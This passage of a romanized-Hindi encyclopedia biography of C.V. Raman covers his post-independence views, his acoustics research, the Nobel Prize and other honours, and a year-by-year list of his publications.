san 1947 mean bharat ke svatantr hone ke pashchath raman ko b di nirasha huee kyoanki unhean laga ki desh mean vijnan ko vikasit karane ke lie koee vishesh prayas nahian kiya ja raha, jisake lie ve itana prayatn kar rahe the. isake viparit vaijnanikoan ko b di sankhya mean uchch shiksha ke lie videsh bheja jane laga. yadyapi vaijnanik adhyayan ke lie apane desh mean kafi avasar aur bahut hi vistrit kshetr tha. yah hamara kartavy tha ki ham vijnan ka mool adhar taiyar karean. isake lie hamean bhitar dekhane ki hi zaroorat thi.

apane yuva vaijnanikoan ke samane yah adarsh rakhane ke lie ki videshi digriyoan aur sammanoan ke pichhe nahian bhagana chahie, raman ne svayan landan ki 'r aauyal sosaiti' ki sadasyata se tyagapatr de diya. unhean is bat se bahut ghrina thi ki log rajaniti ke dvara vijnan ka shoshan karean. unhoanne mahasoos kiya ki vijnan aur rajaniti ka koee mel nahian hai. vijnan sada rajaniti se mat kha jayega. jab unake samane 'bharat ke uparashtrapati' ke pad ka prastav rakha gaya to unhoanne bina ek kshan bhi ganvaye use asvikar kar diya. sanh 1954 mean unhean 'bharat ratn' ki upadhi se sammanit kiya gaya. ab tak vah pahale aur akhiri vaijnanik haian jinhean yah upadhi mili hai.

sangit vady yantr aur anusandhan

d aau.raman ki sangit mean bhi gahari ruchi thi. unhoanne sangit ka bhi gahara adhyayan kiya tha. sangit vady yantroan ki dhvaniyoan ke bare mean d aau. raman ne anusandhan kiya, jisaka ek lekh jarmani ke ek 'vishvakosh' mean bhi prakashit hua tha. ve bahoo bazar sthit prayogashala mean kamachalaoo upakaranoan ka istemal karake shodh kary karate the. phir unhoanne anek vady yantroan ka adhyayan kiya aur vaijnanik siddhaantoan ke adhar par pashchim deshoan ki is bhraanti ko to dane ka prayas kiya ki bharatiy vady yantr videshi vadyoan ki tulana mean ghatiya haian.

samman evan puraskar

d aau.raman ko unake yogadan ke lie bharat ke sarvochch puraskar bharat ratn aur nobel puraskar, lenin puraskar jaise aantarrashtriy puraskaroan se sammanit kiya gaya.

nobel puraskar

raman iphekt ki lokapriyata aur upayogita ka anuman isi se laga sakate haian ki khoj ke das varsh ke bhitar hi sare vishv mean is par qarib 2,000 shodh pepar prakashit hue. isaka adhik upayog thos, drav aur gaisoan ki aantarik anu sanrachana ka pata lagane mean hua. is samay raman keval 42 varsh ke the aur unhean dheroan samman mil chuke the.

raman ko yah poora vishvas tha ki unhean apani khoj ke lie 'nobel puraskar' milega. isalie puraskaroan ki ghoshana se chhah mahine pahale hi unhoanne st aaukahom ke lie tikat ka arakshan karava liya tha. nobel puraskar jitane valoan ki ghoshana disambar sanh 1930 mean huee.

raman pahale eshiyaee aur ashvet the jinhoanne vijnan mean nobel puraskar jita tha. yah pratyek bharatiy ke lie garv ki bat thi. isase yah spasht ho gaya ki vijnan ke kshetr mean bharatiy kisi yooropiyan se kam nahian haian. yah vah samay tha jab yooropiyan vijnan par apana ekadhikar samajhate the. isase pahale sanh 1913 mean ravindranath taigor sahity ke lie nobel puraskar pa chuke the. thumb|chandrashekhar veankat raman
Chandrasekhara Venkata Raman nobel puraskar ke pashchath raman ko vishv ke any bhagoan se kee pratishthit samman prapt hue. desh mean vijnan ko isase bahut hi protsahan mila. yah upalabdhi vastav mean ek aitihasik ghatana thi. isase bharat ke svatantrata poorv ke dinoan mean kee yuvak-yuvatiyoan ko vijnan ka vishay lene ki prerana mili.

is mahanh khoj 'raman prabhav' ke liye 1930 mean shri raman ko 'bhautiki ka nobel puraskar' pradan kiya gaya aur raman bhautik vijnan mean nobel puraskar prapt karane vale eshiya ke pahale vyakti bane. raman ki khoj ki vajah se padarthoan mean anuoan aur paramanuoan ki aantarik sanrachana ka adhyayan sahaj ho gaya. puraskar ki ghoshana ke bad veankataraman ne apani pratikriya dete hue kaha ki-

"midiya ka zyada dhyan vaijnanikoan ke kam par tab jata hai jab unhean pashchim mean b de samman ya puraskar milane lagate haian. ye tariqa galat hai, balki hona ye chahie ki ham apane yahaan kam kar rahe vaijnanikoan, unake kam ko janean aur usake bare mean logoan ko bataean. unhoanne kaha ki bharat mean kee vaijnanik achchhe kam kar rahe haian, midiya ko chahie ki unase mile aur unake kam ko sarahe, sath hi logoan tak bhi pahuanchae."

"jab nobel purash‍kar ki ghoshana ki gee thi to maian ne ise apani vh‍yaktigat vijay mana, mere lie aur mere sahayogiyoan ke lie ek upalabdhi - ek ath‍yant asadharan khoj ko manh‍yata di gee hai, us lakshh‍y tak pahuanchane ke lie jisake lie maianne sat varshoan se kam kiya hai. lekin jab maianne dekha ki us khachakhach h aaul maianne ird-gird pashchimi cheharoan ka samudr dekha aur maian, keval ek hi bharatiy, apani pag di aur banh‍d gale ke kot mean tha, to mujhe laga ki maian vash‍tav mean apane logoan aur apane desh ka pratinidhith‍v kar raha hooan. jab kiang gush‍tav ne mujhe purash‍kar diya to maianne apane apako vash‍tav mean vinamr mahasoos kiya, yah bhavapravan pal tha lekin maian apane oopar niyantran rakhane mean saphal raha. jab maian ghoom gaya aur maianne oopar british yooniyan jaik dekha jisake niche maian baitha raha tha aur tab maianne mahasoos kiya ki mere garib desh, bharat, ka apana dhvaj bhi nahian hai." - si.vi. raman

bharat ratn

d aau.raman ka desh-videsh ki prakhyat vaijnanik sansthaoan ne samman kiya. tatkalin bharat sarakar ne 'bharat rath‍n' ki sarvochch upadhi dekar sammanit kiya.

lenin puraskar

soviyat roos ne unhean 1958 mean 'lenin puraskar' pradan kiya.

lekh, pustak aur shodh prakashan

kram	varsh	prakashan kram
1	1913	Some Acoustical Observations, Bull. Indian Assoc. Cultiv. Sci., 1913
2	1914	The Dynamical Theory of the Motion of Bowed Strings, Bull. Indian Assoc. Cultiv. Sci., 1914 The Maintenance of Vibrations, Phys. Rev. 1914 Dynamical Theory of the Motion of Bowed Strings, Bulletin, Indian Association for the Cultivation of Science, 1914 On Motion in a Periodic Field of Force, Bull. Indian Assoc. Cultiv. Sci , 1914
3	1915	On the Maintenance of Combinational Vibrations by Two Simple Harmonic forces, Phys. Rev., 1915 On Motion in a Periodic Field of Force, Philos. Mag, 1915
4	1916	On Discontinuous Wave-Motion - Part 1, Philos. Mag, 1916 (with S Appaswamair) On the 'Wolf-Note' of the Violin and Cello, Nature (London). 1916 On the 'Wolf-Note' in the Bowed Stringed Instruments, Philos. Mag., 1916
5	1917	The Maintenance of Vibrations in a Periodic Field of Force, Philos. Mag, 1917 (with A. Dey) On Discontinuous Wave-Motion - Part 2, Philos. Mag, 1917 (with A Dey) On Discontinuous Wave-Motion - Part 3, Philos. Mag, 1917 (with A Dey) On the Alterations of Tone Produced by a Violin 'Mute, Nature (London) 1917
6	1918	On the 'Wolf-Note' in the Bowed Stringed Instruments, Philos. Mag., 1918 On the Wolf-Note in Pizzicato Playing, Nature (London), 1918 On the Mechanical Theory of the Vibrations of Bowed Strings and of Musical Instruments of the Violin Family, with Experimental Verification of Results - Part 1, Bulletin, Indian Association for the Cultivation of Science, 1918 The Theory of the Cyclical Vibrations of a Bowed String, Bulletin, Indian Association for the Cultivation of Science, 1918
7	1919	An Experimental Method for the Production of Vibrations, Phys. Rev., 1919 A New Method for the Absolute Determination of Frequency, Proc. R. Soc. London, 1919 On the Partial Tones of Bowed Stringed Instruments, Philos. Mag, 1919 The Kinematics of Bowed String, J. Dept of Sci., Univ. Calcutta, 1919
8	1920	On the Sound of Splashes, Philos. Mag, 1920 On a Mechanical Violin-Player for Acoustical Experiments, Philos. Mag., 1920 Experiments with Mechanically-Played Violins, Proc. Indian Association for the Cultivation of Science, 1920 On Kaufmann's Theory of the Impact of the Pianoforte Hammer, proc. S. Soc. London, 1920 (with B Banerji) Musical Drums with Harmonic Overtones, Nature (London), 1920 (with S. Kumar)
9	1921	Whispering Gallery Phenomena at St. Paul's Cathedral, Nature (London) 1921 (with G.A. Sutherland) The Nature of Vowel Sounds, Nature (London) 1921 On the Whispering Gallery Phenomenon, Proc. R. Soc. London, 1922 (with G.A. Sutherland) On Some Indian Stringed Instruments, Proc. Indian Association for the Cultivation of Science, 1921
10	1922	On Whispering Galleries, Indian Assoc. Cultiv. Sci., 1922 On the Molecular Scattering of Light in Water and the Colour of the Sea, Proceedings of the Royal Society, 1922 The Acoustical Knowledge of the Ancient Hindus, Asutosh Mookerjee Silver Jubilee - Vol 2
11	1926	The Subjective Analysis of Musical Tones, Nature (London), 1926
12	1927	Musical Instruments and Their Tones
13	1928	A new type of Secondary Radiation, Nature, 1928 A new radiation, Indian Journal of Physics, 1928
14	1935	The Indian Musical Drums, Proc. Indian Acad. Sci., 1935 The Diffraction of Light by High Frequency Sound Waves: Part I, Proc. Indian Acad. Sci., 1935 (with N. S. Nagendra Nath) The Diffraction of Light by High Frequency Sound Waves: Part II, Proc. Indian Acad. Sci., 1935 (with N. S. Nagendra Nath) Nature of Thermal Agitation in Liquids, Nature (London), 1935 (with B.V. Raghavendra Rao)
15	1936	The Diffraction of Light by High Frequency Sound Waves: Part III: Doppler Effect and Coherence Phenomena, Proc. Indian Acad. Sci., 1936 (with N. S. Nagendra Nath) The Diffraction of Light by High Frequency Sound Waves: Part IV: Generalised Theory, Proc. Indian Acad. Sci., 1936 (with N. S. Nagendra Nath) The Diffraction of Light by High Frequency Sound Waves: Part V: General Considerations - Oblique Incidence and Amplitude Changes, Proc. Indian Acad. Sci., 1936 (with N. S. Nagendra Nath) Diffraction of Light by Ultrasonic Waves, Nature (London), 1936 (with N. S. Nagendra Nath)
16	1937	Acoustic Spectrum of Liquids, Nature (London), 1937 (with B.V. Raghavendra Rao)
17	1938	Light Scattering and Fluid Viscosity, Nature (London), 1938 (with B.V. Raghavendra Rao)
18	1948	Aspects of Science, 1948
19	1951	The New Physics: Talks on Aspects of Science, 1951
20	1953	The structure and optical behaviour of iridescent opal, Proc. Indian. Acad. Sci. A38 1953 (with A. Jayaraman)
21	1959	Lectures on Physical Optics, 1959

nidhan

21 navambar sanh 1970 mean ek chhoti-si bimari ke bad raman ka 82 varsh ki ayu mean svargavas ho gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• chanh‍drashekhar veankataraman-adhunik bharatiy vijnan ka ek akhh‍yan
• The Nobel Prize in Physics 1930
• SIR CHANDRASEKHARA VENKATA RAMAN
• Noble Lecture
• C.V. Raman and his work
• Raman Effect: fingerprinting the universe
• SIR CHANDRASEKHARA VENKATA RAMAN Biography